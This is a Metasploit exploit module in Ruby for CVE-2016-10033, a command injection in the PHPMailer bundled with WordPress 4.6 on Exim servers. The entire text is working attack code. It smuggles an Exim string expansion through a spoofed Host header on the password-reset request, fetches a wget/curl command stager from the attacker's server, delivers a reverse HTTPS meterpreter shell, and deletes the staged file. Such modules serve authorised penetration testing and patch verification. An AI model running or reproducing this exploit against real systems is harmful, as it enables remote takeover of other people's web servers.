WordPress Plugin PHPMailer 4.6 – Host Header Command Injection (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress PHPMailer Host Header Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in WordPress version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer, a mail-sending library that is bundled with WordPress. A valid WordPress username is required to exploit the vulnerability. Additionally, due to the altered Host header, exploitation is limited to the default virtual host, assuming the header isn't mangled in transit. If the target is running Apache 2.2.32 or 2.4.24 and later, the server may have HttpProtocolOptions set to Strict, preventing a Host header containing parens from passing through, making exploitation unlikely. }, 'Author' => [ 'Dawid Golunski', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2016-10033'], ['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'], ['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'], ['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions'] ], 'DisclosureDate' => 'May 3 2017', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ ['WordPress 4.6 / Exim', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_https', 'CMDSTAGER::FLAVOR' => 'wget' }, 'CmdStagerFlavor' => ['wget', 'curl'] )) register_options([ OptString.new('USERNAME', [true, 'WordPress username', 'admin']) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable directory', '/tmp']) ]) deregister_options('VHOST', 'URIPATH') end def check if (version = wordpress_version) version = Gem::Version.new(version) else return CheckCode::Safe end vprint_status("WordPress #{version} installed at #{full_uri}") if version <= Gem::Version.new('4.6') CheckCode::Appears else CheckCode::Detected end end def exploit if check == CheckCode::Safe print_error("Is WordPress installed at #{full_uri} ?") return end # Since everything goes through strtolower(), we need lowercase print_status("Generating #{cmdstager_flavor} command stager") @cmdstager = generate_cmdstager( 'Path' => "/#{Rex::Text.rand_text_alpha_lower(8)}", :temp => datastore['WritableDir'], :file => File.basename(cmdstager_path), :nospace => true ).join(';') print_status("Generating and sending Exim prestager") generate_prestager.each do |command| vprint_status("Sending #{command}") send_request_payload(command) end end # # Exploit methods # # Absolute paths are required for prestager commands due to execve(2) def generate_prestager prestager = [] # This is basically sh -c `wget` implemented using Exim string expansions # Badchars we can't encode away: \ for \n (newline) and : outside strings prestager << '/bin/sh -c ${run{/bin/echo}{${extract{-1}{$value}' \ "{${readsocket{inet:#{srvhost_addr}:#{srvport}}" \ "{get #{get_resource} http/1.0$value$value}}}}}}" # CmdStager should rm the file, but it blocks on the payload, so we do it prestager << "/bin/rm -f #{cmdstager_path}" end def send_request_payload(command) res = send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_login, 'headers' => { 'Host' => generate_exim_payload(command) }, 'vars_get' => { 'action' => 'lostpassword' }, 'vars_post' => { 'user_login' => datastore['USERNAME'], 'redirect_to' => '', 'wp-submit' => 'Get New Password' } ) if res && !res.redirect? if res.code == 200 && res.body.include?('login_error') fail_with(Failure::NoAccess, 'WordPress username may be incorrect') elsif res.code == 400 && res.headers['Server'] =~ /^Apache/ fail_with(Failure::NotVulnerable, 'HttpProtocolOptions may be Strict') else fail_with(Failure::UnexpectedReply, "Server returned code #{res.code}") end end res end def generate_exim_payload(command) exim_payload = Rex::Text.rand_text_alpha(8) exim_payload << "(#{Rex::Text.rand_text_alpha(8)} " exim_payload << "-be ${run{#{encode_exim_payload(command)}}}" exim_payload << " #{Rex::Text.rand_text_alpha(8)})" end # We can encode away the following badchars using string expansions def encode_exim_payload(command) command.gsub(/[\/ :]/, '/' => '${substr{0}{1}{$spool_directory}}', ' ' => '${substr{10}{1}{$tod_log}}', ':' => '${substr{13}{1}{$tod_log}}' ) end # # Utility methods # def cmdstager_flavor datastore['CMDSTAGER::FLAVOR'] end def cmdstager_path @cmdstager_path ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" end # # Override methods # # Return CmdStager on first request, payload on second def on_request_uri(cli, request) if @cmdstager print_good("Sending #{@cmdstager}") send_response(cli, @cmdstager) @cmdstager = nil else print_good("Sending payload #{datastore['PAYLOAD']}") super end end end |